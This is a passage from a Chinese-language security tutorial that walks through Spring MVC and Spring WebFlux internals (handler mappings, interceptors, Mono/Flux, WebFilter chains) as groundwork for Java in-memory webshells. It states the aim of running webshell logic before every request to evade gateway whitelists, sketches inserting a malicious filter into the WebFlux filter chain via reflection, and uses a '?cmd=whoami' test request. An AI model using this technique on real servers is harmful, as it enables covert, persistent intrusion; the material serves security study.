方法,一般来说这个方法是在容器刷新完成后被调用的回调方法,它执行一些在应用程序启动后立即需要完成的任务:
跟入该方法,可以看到其中默认为空:
说明在它的子类中应该会有override
,果然我们定位到了org.springframework.web.servlet.DispatcherServlet#
方法:
这一下就明了了起来,这不是我们之前提到的九大组件嘛,到这一步就完成了Spring MVC
的九大组件的初始化。
2.11.2.2 url和Controller的关系的建立
你可能会有这样的一个疑惑:我们是用@RequestMapping("/")
注解在方法上的,那Spring MVC
是怎么根据这个注解就把对应的请求和这个方法关联起来的?
从上面的九大组件的初始化中可以看到,有个方法就叫做initHandlerMappings
,我们点进去详细看看:
这段代码和自带的注释写的也比较通俗易懂,分为两部分,第一部分是去ApplicationContext
(包括ancestor contexts
)里面找所有实现了HandlerMappings
接口的类,如果找到了至少一个符合条件的HandlerMapping bean
,那就把它的值转化为列表,并按照Java的默认排序机制对它们进行排序,最后将排序后的列表赋值给 this.handlerMappings
;那如果没有找到,this.handlerMappings
就依然保持为null
;如果不需要检测所有处理程序映射,那就尝试从ApplicationContext
中获取名称为 handlerMapping
的bean
,如果成功获取到了则将其作为单一元素的列表赋值给 this.handlerMappings
,如果获取失败了,那也没关系,因为人家注释里面讲的很明白,会添加一个默认的HandlerMapping
,这也就是我们要讲的第二部分的代码。
第二部分说的是,如果之前一套操作下来,this.handlerMappings
还是为null
,那么就调用 getDefaultStrategies
方法去获取默认的HandlerMapping
,并将其赋给 this.handlerMappings
。
这么一看的话,org.springframework.web.servlet.DispatcherServlet#getDefaultStrategies
这个方法还是挺关键的,我们点进去看看:
这段代码挺有意思,先是加载资源文件,并将其内容以属性键值对的形式存储在defaultStrategies
中;接下来从strategyInterface
获取一个名称,然后用这个名称在defaultStrategies
中查找相应的值,如果找到了,就将这个值按逗号分隔成类名数组,接着遍历这个类名数组,对于每个类名都执行以下两个操作:①尝试通过ClassUtils.forName
方法加载该类 ②使用createDefaultStrategy
方法创建该类的实例;最后将创建的策略对象添加到列表strategies
中并返回。
那就很好奇了,这段代码中的DEFAULT_STRATEGIES_PATH
里面有啥?Ctrl+左键
追踪:
原来是一个名叫DispatcherServlet.properties
的文件,我们可以在左侧的依赖列表里面很快地翻到它,因为它应该是和DispatcherServlet.java
在一块儿的:
从文件内容中,我们可以很快地锁定关键信息:
org.springframework.web.servlet.HandlerMapping=org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,\
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,\
org.springframework.web.servlet.function.support.RouterFunctionMapping
也就是说,会有三个值,分别是BeanNameUrlHandlerMapping
、RequestMappingHandlerMapping
和RouterFunctionMapping
,我们一般用的是第二个,我们点进org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
看一下:
它的父类RequestMappingInfoHandlerMapping
的父类AbstractHandlerMethodMapping
实现了InitializingBean
这个接口,这个接口用于在bean
初始化完成后执行一些特定的自定义初始化逻辑。
点进该接口,只有一个afterPropertiesSet
方法,关于该方法的用途可以参考https://www.python100.com/html/U711CO7MV79C.html
:
那我们就看看AbstractHandlerMethodMapping
它是具体咋实现InitializingBean
的afterPropertiesSet
的吧:
重写的也很简单,调用initHandlerMethods
这个方法,继续跟踪该方法:
注释里面写的很清楚:扫描ApplicationContext
中的bean
,然后检测并注册handler methods
。
我们在org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#initHandlerMethods
这里打下断点进行调试,到图中这一步之后step into
:
我们来看org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#processCandidateBean
这个方法的具体逻辑:
这里我们自然很好奇,这个isHandler
是判断啥的,我们点进去看看:
可以看到,这里并没有给出实现,说明子类中应该会给出override
,于是直接找到了org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#isHandler
:
很明显,isHandler
是用来检测给定的beanType
类是否带有Controller
注解或者RequestMapping
注解。
解决了这个,继续往后看,后面是调用了detectHandlerMethods
这个方法,我们点进去看看:
我们分开来看,首先是这行代码,它是综合起来写的,意思是说,先判断handler
是否是字符串类型,如果是,则通过ApplicationContext
获取它的类型;否则,直接获取handler
的类型。:
Class<?> handlerType = (handler instanceof String ?
obtainApplicationContext().getType((String) handler) : handler.getClass());
然后是这部分:
Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});
先是获取处理器的用户类,用户类是没有经过代理包装的类,这样就可以确保获取到的是实际处理请求的类;然后是这个selectMethods
方法,这个方法有两个参数,第一个参数就是用户类,第二个参数是一个回调函数。关键就在于理解这个回调函数的作用。对于每个方法,它会尝试调用getMappingForMethod
来获取方法的映射信息。
我们点进这个方法,发现它是一个抽象方法:
那就去看看他的子类中有没有对应的实现,直接定位到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#getMappingForMethod
:
我们在下图所示位置打断点调试:
分开来看,首先是第一行:
RequestMappingInfo info = createRequestMappingInfo(method);
解析Controller
类的方法中的注解,生成一个对应的RequestMappingInfo
对象。我们可以step into
进入org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)
方法:
可以看到这个info
里面保存了访问该方法的url pattern
是"/"
,也就是我们在TestController.java
所想要看到的当@RequestMapping("/")
时,调用test
方法。
继续一步步往下走,可以看到走到了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods
的最后:
直接看lambda
表达式里面的内容:
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
registerHandlerMethod(handler, invocableMethod, mapping);
意思是,先用selectInvocableMethod
方法根据method
和userType
选择出一个可调用的方法,这样是为了处理可能存在的代理和AOP
的情况,确保获取到的是可直接调用的原始方法;然后把bean
、Method
和RequestMappingInfo
注册进MappingRegistry
。
到这里,url
和Controller
之间的关系是如何建立的问题就解决了。
2.11.2.3 Spring Interceptor引入与执行流程分析
我们回顾之前聊到的Controller
的思路和下面的4.1
节中所展示的Controller
内存马,可以考虑到这样一个问题:
随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关、复杂均衡以及防火墙等。所以如果你新建的
shell
路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前,就能执行我们的代码。所以,在注入java
内存马时,尽量不要使用新的路由来专门处理我们注入的webshell
逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们webshell
逻辑的处理。在tomcat
容器下,有filter
、listener
等技术可以达到上述要求。那么在spring
框架层面下,有办法达到上面所说的效果吗? ——摘编自https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/index.md
和https://landgrey.me/blog/19/
答案是当然有,这就是我们要讲的Spring Interceptor
,Spring
框架中的一种拦截器机制。
那就不禁要问了:这个Spring Interceptor
和我们之前所说的Filter
的区别是啥?
主要有以下六个方面:
主要区别 | 拦截器 | 过滤器 |
---|---|---|
机制 |
Java 反射机制 |
函数回调 |
是否依赖Servlet 容器 |
不依赖 | 依赖 |
作用范围 | 对action 请求起作用 |
对几乎所有请求起作用 |
是否可以访问上下文和值栈 | 可以访问 | 不能访问 |
调用次数 | 可以多次被调用 | 在容器初始化时只被调用一次 |
IOC 容器中的访问 |
可以获取IOC 容器中的各个bean (基于FactoryBean 接口) |
不能在IOC 容器中获取bean
|
我们在2.10.2
节中给出的TestInterceptor.java
的preHandle
函数这里下断点,然后访问http://127.0.0.1:8080/?cmd=whoami
进入调试:
一步步步入调试之后,发现进入org.springframework.web.servlet.DispatcherServlet#doDispatch
方法:
我们在doDispatch
方法的第一行下断点,重新访问页面调试:
看到了调用了getHandler
这个函数,它的注释写的简单易懂:确定处理当前请求的handler
,我们step into
看看:
通过遍历当前handlerMapping
数组中的handler
对象,来判断哪个handler
来处理当前的request
对象:
继续步入这个函数里面所用到的mapping.getHandler
方法,也就是org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
:
代码简单易懂,先是通过getHandlerInternal
来获取,如果获取不到,那就调用getDefaultHandler
来获取默认的,如果还是获取不到,就直接返回null
;然后检查handler
是不是一个字符串,如果是,说明可能是一个Bean
的名字,这样的话就通过ApplicationContext
来获取对应名字的Bean
对象,这样就确保 handler
最终会是一个合法的处理器对象;接着检查是否已经有缓存的请求路径,如果没有缓存就调用 initLookupPath(request)
方法来初始化请求路径的查找;最后通过 getHandlerExecutionChain
方法创建一个处理器执行链。
这么看下来,这个getHandlerExecutionChain
方法很重要,我们步入看看:
遍历adaptedInterceptors
,判断拦截器是否是MappedInterceptor
类型,如果是那就看MappedInterceptor
是否匹配当前请求,如果匹配则将其实际的拦截器添加到执行链中,如果不是这个类型的那就直接将拦截器添加到执行链中。
再回到之前的getHandler
方法中来,看看它的后半段:
主要都是处理跨域资源共享(CORS
)的逻辑,只需要知道在涉及CORS
的时候把request
、executionChain
和CORS
配置通过getCorsHandlerExecutionChain
调用封装后返回就行了。
一步步执行回到一开始的getHandler
中,这里就是调用org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle
方法来遍历所有拦截器进行预处理,后面的代码就基本不需要了解了:
2.12 Spring WebFlux介绍与代码调试分析
SpringWebFlux
是Spring Framework 5.0
中引入的新的响应式web
框架。传统的Spring MVC
在处理请求时是阻塞的,即每个请求都会占用一个线程,如果有大量请求同时到达,就需要大量线程来处理,可能导致资源耗尽。为了解决这个问题,WebFlux
引入了非阻塞的响应式编程模型,通过使用异步非阻塞的方式处理请求,能够更高效地支持大量并发请求,提高系统的吞吐量;并且它能够轻松处理长连接和WebSocket
,适用于需要保持连接的应用场景,如实时通讯和推送服务;在微服务架构中,服务之间的通信往往需要高效处理,WebFlux
可以更好地适应这种异步通信的需求。
关于Reactive
和Spring WebFlux
的相关知识,可以参考知乎上的这篇文章,讲的通俗易懂,很透彻:
WebFlux
框架开发的接口返回类型必须是Mono<T>
或者是Flux<T>
。因此我们第一个需要了解的就是什么是Mono
以及什么是Flux
。
2.12.1 什么是Mono?
Mono
用来表示包含0
或1
个元素的异步序列,它是一种异步的、可组合的、能够处理异步数据流的类型。比方说当我们发起一个异步的数据库查询、网络调用或其他异步操作时,该操作的结果可以包装在Mono
中,这样就使得我们可以以响应式的方式处理异步结果,而不是去阻塞线程等待结果返回,就像我们在2.10.3
节中的那张gif
图中所看到的那样。
下面我们来看看Mono
常用的api
:
API | 说明 | 代码示例 |
---|---|---|
Mono.just(T data) |
创建一个包含指定数据的 Mono 。 |
Mono<String> mono = Mono.just("Hello, Mono!"); |
Mono.empty() |
创建一个空的 Mono 。 |
Mono<Object> emptyMono = Mono.empty(); |
Mono.error(Throwable error) |
创建一个包含错误的 Mono 。 |
Mono<Object> errorMono = Mono.error(new RuntimeException("Something went wrong")); |
Mono.fromCallable(Callable<T> supplier) |
从 Callable 创建 Mono ,表示可能抛出异常的异步操作。 |
Mono<String> resultMono = Mono.fromCallable(() -> expensiveOperation()); |
Mono.fromRunnable(Runnable runnable) |
从 Runnable 创建 Mono ,表示没有返回值的异步操作。 |
Mono<Void> runnableMono = Mono.fromRunnable(() -> performAsyncTask()); |
Mono.delay(Duration delay) |
在指定的延迟后创建一个空的 Mono 。 |
Mono<Object> delayedMono = Mono.delay(Duration.ofSeconds(2)).then(Mono.just("Delayed Result")); |
Mono.defer(Supplier<? extends Mono<? extends T>> supplier) |
延迟创建 Mono ,直到订阅时才调用供应商方法。 |
Mono<String> deferredMono = Mono.defer(() -> Mono.just("Deferred Result")); |
Mono.whenDelayError(Iterable<? extends Mono<? extends T>> monos) |
将一组 Mono 合并为一个 Mono ,当其中一个出错时,继续等待其他的完成。 |
Mono<String> resultMono = Mono.whenDelayError(Arrays.asList(mono1, mono2, mono3)); |
Mono.map(Function<? super T, ? extends V> transformer) |
对 Mono 中的元素进行映射。 |
Mono<Integer> resultMono = mono.map(s -> s.length()); |
Mono.flatMap(Function<? super T, ? extends Mono<? extends V>> transformer) |
对 Mono 中的元素进行异步映射。 |
Mono<Integer> resultMono = mono.flatMap(s -> Mono.just(s.length())); |
Mono.filter(Predicate<? super T> tester) |
过滤 Mono 中的元素。 |
Mono<String> filteredMono = mono.filter(s -> s.length() > 5); |
Mono.defaultIfEmpty(T defaultVal) |
如果 Mono 为空,则使用默认值。 |
Mono<String> resultMono = mono.defaultIfEmpty("Default Value"); |
Mono.onErrorResume(Function<? super Throwable, ? extends Mono<? extends T>> fallback) |
在发生错误时提供一个备用的 Mono 。 |
Mono<String> resultMono = mono.onErrorResume(e -> Mono.just("Fallback Value")); |
Mono.doOnNext(Consumer<? super T> consumer) |
在成功时执行操作,但不更改元素。 | Mono<String> resultMono = mono.doOnNext(s -> System.out.println("Received: " + s)); |
Mono.doOnError(Consumer<? super Throwable> onError) |
在发生错误时执行操作。 | Mono<String> resultMono = mono.doOnError(e -> System.err.println("Error: " + e.getMessage())); |
Mono.doFinally(Consumer<SignalType> action) |
无论成功还是出错都执行操作。 | Mono<String> resultMono = mono.doFinally(signal -> System.out.println("Processing finished: " + signal)); |
2.12.2 什么是Flux?
Flux
表示的是0
到N
个元素的异步序列,可以以异步的方式按照时间的推移逐个或一批一批地publish
元素。也就是说,Flux
允许在处理元素的过程中,不必等待所有元素都准备好,而是可以在它们准备好的时候立即推送给订阅者。这种异步的推送方式使得程序可以更灵活地处理元素的生成和消费,而不会阻塞执行线程。
下面是Flux
常用的api
:
API | 说明 | 代码示例 |
---|---|---|
Flux.just |
创建包含指定元素的Flux
|
Flux<String> flux = Flux.just("A", "B", "C"); |
Flux.fromIterable |
从Iterable 创建Flux
|
List<String> list = Arrays.asList("A", "B", "C"); Flux<String> flux = Flux.fromIterable(list);
|
Flux.fromArray |
从数组创建Flux
|
String[] array = {"A", "B", "C"}; Flux<String> flux = Flux.fromArray(array);
|
Flux.empty |
创建一个空的Flux
|
Flux<Object> emptyFlux = Flux.empty(); |
Flux.error |
创建一个包含错误的Flux
|
Flux<Object> errorFlux = Flux.error(new RuntimeException("Something went wrong")); |
Flux.range |
创建包含指定范围的整数序列的Flux
|
Flux<Integer> rangeFlux = Flux.range(1, 5); |
Flux.interval |
创建包含定期间隔的元素的Flux
|
Flux<Long> intervalFlux = Flux.interval(Duration.ofSeconds(1)).take(5); |
Flux.merge |
合并多个Flux,按照时间顺序交织元素 |
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> mergedFlux = Flux.merge(flux1, flux2);
|
Flux.concat |
连接多个Flux ,按照顺序发布元素 |
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> concatenatedFlux = Flux.concat(flux1, flux2);
|
Flux.zip |
将多个Flux 的元素进行配对,生成Tuple
|
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("1", "2"); Flux<Tuple2<String, String>> zippedFlux = Flux.zip(flux1, flux2);
|
Flux.filter |
过滤满足条件的元素 |
Flux<Integer> numbers = Flux.range(1, 5); Flux<Integer> filteredFlux = numbers.filter(n -> n % 2 == 0);
|
Flux.map |
转换每个元素的值 |
Flux<String> words = Flux.just("apple", "banana", "cherry"); Flux<Integer> wordLengths = words.map(String::length);
|
Flux.flatMap |
将每个元素映射到一个Flux ,并将结果平铺 |
Flux<String> letters = Flux.just("A", "B", "C"); Flux<String> flatMappedFlux = letters.flatMap(letter -> Flux.just(letter, letter.toLowerCase()));
|
2.12.3 Spring WebFlux启动过程分析
本来是想先用文字聊一堆关于Spring MVC
和Spring WebFlux
之间的区别的,但是这个已经被网上现有的不多的关于WebFlux
的文章讲烂了,大家随便搜都可以搜到,皮毛性的东西纯属浪费时间,于是我们直接看代码,去深挖WebFlux
的调用过程,从中我们自然可以发现这两者在调用过程中的类似和不同的地方。
我们直接在run
方法这里下断点,然后直接step into
:
一步步地step over
之后,我们可以看到调用了org.springframework.boot.SpringApplication#createApplicationContext
这个方法(前面的那些方法并不重要,直接略过就行):
这个方法光听名字createApplicationContext
,就感觉很重要,因为字面意思就是创建ApplicationContext
,这正是我们感兴趣的内容,我们step into
进去看看:
可以看到,是根据不同的webApplicationType
去选择创建不同的context
,比如我们这里的webApplicationType
就是REACTIVE
,也就是响应式的。
我们step into
这里的create
方法:
发现里面有两个静态方法、一个create
方法和一个默认实现 DEFAULT
,这个默认实现通过加载 ApplicationContextFactory
的所有候选实现,创建相应的上下文;如果没有找到合适的实现,则默认返回一个 AnnotationConfigApplicationContext
实例。
我们继续step over
走下去,可以看到我们REACTIVE
对应的context
是AnnotationConfigReactiveWebServerApplicationContext
:
继续往下走,我们会回到一开始这里,可以看到接下来会调用prepareContext
、refreshContext
和afterRefresh
方法,这个过程就是一系列的初始化、监听的注册等操作:
我们step into
这里的refreshContext
方法:
接着step into
这里的refresh
方法:
进来之后,接着step into
这里的refresh
方法:
可以看到,这里调用了一个super.refresh
,也就是父类的refresh
方法:
我们继续step into
查看,发现这里调用了onRefresh
方法:
我们step into
这里的onRefresh
,发现它调用了关键的org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContext#createWebServer
:
继续step over
可以看到,由于我们使用的是Netty
而不是Tomcat
,因此这里最终会调用NettyReactiveWebServerFactory
类中的getWebServer
方法:
而上图中的WebServerManager
类也是一个重要的封装类,里面有两个成员变量,一个是底层服务器的抽象WebServer
,另一个是上层方法处理者的抽象DelayedInitializationHttpHandler
:
那这个webserver
具体是怎么启动的呢?我们继续走到finishRefresh
这个方法这里来,如果这里我们直接无脑step over
,程序最终会回到run
方法,说明,启动webserver
的地方肯定就在这个finishRefresh
方法里面:
我们step into
进去看看:
接着step into
去看看这里调用的getLifecycleProcessor().onRefresh()
方法,发现调用了startBeans
方法,并且设置了自启动:
我们直接step into
这个startBeans
方法,一步步地step over
过后,会发现调用了start
方法,看来我们在逐渐逼近真相:
我们继续step into
这个start
方法,发现调用了org.springframework.context.support.DefaultLifecycleProcessor#doStart
这个方法:
直接step into
进去看看,发现由于dependenciesForBean
为[],所以没有调用doStart
方法,直接就是调用bean.start()
:
继续step into
这个start
方法看看:
怎么会啥也没有呢?奇了怪了,到底是哪里出了问题了呢?我在这一步愣住了,决定把之前打的断点取消,在如下俩图所示的位置打上断点重新调试,因为这两个方法是关键方法:
调试了几遍之后发现是我疏忽了,这里的this.lifecycleBeans
里面其实有三个,每调用一次doStart
方法就会删掉一个:
可以看到,我们刚才调用的是第一个bean
的,所以当然没有启动webserver
相关的方法了:
我们一步步step over
,当memeber.name
为webServerStartStop
时,我们再step into
这个doStart
方法里面的bean.start()
:
即可看到this.weServerManager.start()
:
我们继续step into
这个start
方法:
仔细看看上面红框中的代码,先是初始化HttpHandler
,这个方法其实根据lazyInit
的值的不同来决定何时初始化,如果lazyInit
值为true
,那么就等第一次请求到来时才真正初始化;如果为false
,那么就在 WebServerManager
的 start
方法中调用 initializeHandler
直接初始化:
我们继续步入这里的start
方法,发现其位置为org.springframework.boot.web.embedded.netty.NettyWebServer#start
到这里才算真正明了,真正的webServer
启动的关键方法是org.springframework.boot.web.embedded.netty.NettyWebServer#startHttpServer
:
从下面的this.webServer
中也可以看到,绑定的是0.0.0.0:9191
:
2.12.4 Spring WebFlux请求处理过程分析
当一个请求过来的时候,Spring WebFlux
是如何进行处理的呢?
这里我们在org.example.webfluxmemoryshelldemo.hello.GreetingHandler#hello
这里打上断点,然后进行调试,访问http://127.0.0.1:9191/hello
触发debug
:
一步步地step over
后来到org.springframework.web.reactive.DispatcherHandler#invokeHandler
:
step into
之后可以看到是org.springframework.web.reactive.DispatcherHandler#handle
:
解释上面代码中的return
部分,首先检查handlerMappings
是否为null
,如果是,那就调用createNotFoundError
方法返回一个表示未找到处理程序的Mono
;接着通过CorsUtils.isPreFlightRequest
方法检查是否为预检请求,如果是,那就调用handlePreFlight
方法处理预检请求,如果不是预检请求且handlerMappings
不为null
,通过一系列的操作,获取到请求的handler
,然后调用invokeHandler
方法执行处理程序,再调用handleResult
方法处理执行结果,最终返回一个表示处理完成的Mono
。
左下角的Threads & Variables
这里,我们往下翻,可以看到在此之前是调用了一个org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandler
:
我们把之前的断点去掉,然后在该函数这里打上断点:
发现调用了org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandlerInternal
,我们再回去看,发现调用位置在org.springframework.web.reactive.function.server.support.RouterFunctionMapping#getHandlerInternal
:
点击去:
这里最终创建的是DefaultServerRequest
对象,需要注意的是在创建该对象时将RouterFunctionMapping
中保存的HttpMessageReader
列表作为参数传入,这样DefaultServerRequest
对象就有了解析参数的能力。
回到getHandlerInternal
这个函数,看它的return
里面的匿名函数,发现其调用了org.springframework.web.reactive.function.server.RouterFunction#route
,我们点进去看看:
发现只是在接口中定义了下:
于是去翻之前的Threads & Variables
:
首先调用this.predicate.test
方法来判断传入的ServerRequest
是否符合路由要求,如果匹配到了处理方法,那就将保存的HandlerFunction
实现返回,否则就返回空的Mono
。
点进去这个test
方法,发现还是个接口,结合之前的RouterFunction.java
和RouterFunctions.java
的命名规则,合理猜测test
方法的实现应该是在RequestPredicates.java
里面。果然是有的,我们取消之前下的所有断点,在test
函数这里重新打上断点后调试:
可以看到这里已经拿到了pattern
,那就还差解析request
里面的GET
这个方法了:
我们继续step over
,发现直接跳到了这里,我当时就挺纳闷儿,这里的this.left
和this.right
怎么就已知了:
这俩变量已知说明在执行test
之前肯定是已经被赋值了,我继续往后step over
,从下图中可以看到,此时二者之间多了个&&
,不难猜测,应该是调用了org.springframework.web.reactive.function.server.RequestPredicates.AndRequestPredicate
方法,因为还有一个OrRequestPredicate
,这个or
的话应该就是||
了:
于是我们再在AndRequestPredicate
方法这打上断点,此时我们还没有访问http://127.0.0.1:9191/hello
,就已经触发调试了,这是因为我们在GreetingRouter.java
里面写的代码中有GET
方法、/hello
路由还有and
方法,因此会调用到AndRequestPredicate
,并把GET
和/hello
分别复制给this.left
和this.right
:
到这里,我们基本就了解了路由匹配这么个事情。接下来我们要考虑的事情就是如何处理请求,这个就比较简单了,为什么这么说呢?因为在我们2.12.3
节中的分析中已经基本涉及到了。我们还是在org.springframework.web.reactive.DispatcherHandler#invokeHandler
打下断点调试:
可以看到,这里的this.handlerAdapters
里面有四个handlerAdapter
:
并不是所有的handlerAdapter
都会触发handle
方法,只有当支持我们给定的handler
的handlerAdapter
才可以调用:
然后我们step into
这里的handlerAdapter.handle
方法,发现是在org.springframework.web.reactive.function.server.support.HandlerFunctionAdapter#handle
:
而这里的handlerFunction.handle
也就是我们编写的route
方法:
到这里,关于处理请求的部分也就完结了。
2.12.5 Spring WebFlux过滤器WebFilter运行过程分析
对于Spring WebFlux
而言,由于没有拦截器和监听器这个概念,要想实现权限验证和访问控制的话,就得使用Filter
,关于这一部分知识可以参考Spring的官方文档:
https://docs.spring.io/spring-security/reference/reactive/configuration/webflux.html
而在Spring Webflux
中,存在两种类型的过滤器:一个是WebFilter
,实现自org.springframework.web.server.WebFilter
接口。通过实现这个接口,可以定义全局的过滤器,它可以在请求被路由到handler
之前或者之后执行一些逻辑;另一个就是HandlerFilterFunction
,它是一种函数式编程的过滤器类型,实现自org.springframework.web.reactive.function.server.HandlerFilterFunction
接口,与WebFilter
相比它更加注重函数式编程的风格,可以用于处理基于路由的过滤逻辑。
这里我们以WebFilter
为例,看看它的运行过程。新建一个GreetingFilter.java
,代码如下:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;
@Component
public class GreetingFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
PathPattern pattern=new PathPatternParser().parse("/hello/**");
ServerHttpRequest request=serverWebExchange.getRequest();
if (pattern.matches(request.getPath().pathWithinApplication())){
System.out.println("hello, this is our filter!");
}
return webFilterChain.filter(serverWebExchange);
}
}
效果如下:
我们直接在filter
函数这里下断点,进行调试:
注意到return
中调用了filter
函数,于是step into
看看:
可以看到是调用了invokeFilter
函数。我们仔细看看这个DefaultWebFilterChain
类:
可以看到是有三个名为DefaultWebFilterChain
的函数,其中第一个是公共构造函数,第二个是私有构造函数(用来创建chain
的中间节点),第三个是已经过时的构造函数。而在该类的注释中,有这样一句话:
Each instance of this class represents one link in the chain. The public constructor DefaultWebFilterChain(WebHandler, List) initializes the full chain and represents its first link.
也就是说,通过调用 DefaultWebFilterChain
类的公共构造函数,我们初始化了一个完整的过滤器链,其中的每个实例都代表链中的一个link
,而不是一个chain
,这就意味着我们无法通过修改下图中的chain.allFilters
来实现新增Filter
:
但是这个类里面有个initChain
方法用来初始化过滤器链,这个方法里面调用的是这个私有构造方法:
那我们就看看这个公共构造方法是在哪里调用的:
光标移至该方法,按两下Ctrl+Alt+F7
:
调用的地方位于org.springframework.web.server.handler.FilteringWebHandler#FilteringWebHandler
:
那思路就来了,我们只需要构造一个DefaultWebFilterChain
对象,,然后把它通过反射写入到FilteringWebHandler
类对象的chain
属性中就可以了。
那现在就剩下传入handler
和filters
这两个参数了,这个handler
参数很好搞,就在chain
里面:
然后这个filters
的话,我们可以先获取到它本来的filters
,然后把我们自己写的恶意filter
放进去,放到第一位,就可以了。
那现在就是从内存中找到DefaultWebFilterChain
的位置,然后一步步反射就行。这里直接使用工具https://github.com/c0ny1/java-object-searcher
,克隆下来该项目,放到idea
中mvn clean install
:
然后把生成的这个java-object-searcher-0.1.0.jar
放到我们的WebFluxMemoryShellDemo
项目的Project Structure
中的Libraries
中:
然后我们把我们的GreetingFilter.java
的代码修改成下面的:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;
@Component
public class GreetingFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
PathPattern pattern=new PathPatternParser().parse("/hello/**");
ServerHttpRequest request=serverWebExchange.getRequest();
if (pattern.matches(request.getPath().pathWithinApplication())){
System.out.println("hello, this is our GreetingFilter!");
}
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("DefaultWebFilterChain").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
searcher.searchObject();
return webFilterChain.filter(serverWebExchange);
}
}
这里我们设置的关键字是DefaultWebFilterChain
,然后直接运行:
也就是说,位置是在:
TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
-
-
二、前置知识
- 2.1 Servlet容器与Engine、Host、Context和Wrapper
- 2.2 编写一个简单的servlet
- 2.3 从代码层面看servlet初始化与装载流程
- 2.3.1 servlet初始化流程分析
- 2.3.2 servlet装载流程分析
- 2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
- 2.5 编写一个简单的Filter
- 2.6 从代码层面分析Filter运行的整体流程
- 2.7 Listener简单介绍
- 2.8 编写一个简单的Listener(ServletRequestListener)
- 2.9 从代码层面分析Listener运行的整体流程
- 2.10 简单的spring项目搭建
- 2.10.1 编写一个简单的Spring Controller
- 2.10.2 编写一个简单的Spring Interceptor
- 2.10.3 编写一个简单的Spring WebFlux的Demo(基于Netty)
- 2.11 Spring MVC介绍
- 2.11.1 Spring MVC九大组件
- 2.11.2 简单的源码分析
- 2.11.2.1 九大组件的初始化
- 2.11.2.2 url和Controller的关系的建立
- 2.11.2.3 Spring Interceptor引入与执行流程分析
- 2.12 Spring WebFlux介绍与代码调试分析
- 2.12.1 什么是Mono?
- 2.12.2 什么是Flux?
- 2.12.3 Spring WebFlux启动过程分析
- 2.12.4 Spring WebFlux请求处理过程分析
- 2.12.5 Spring WebFlux过滤器WebFilter运行过程分析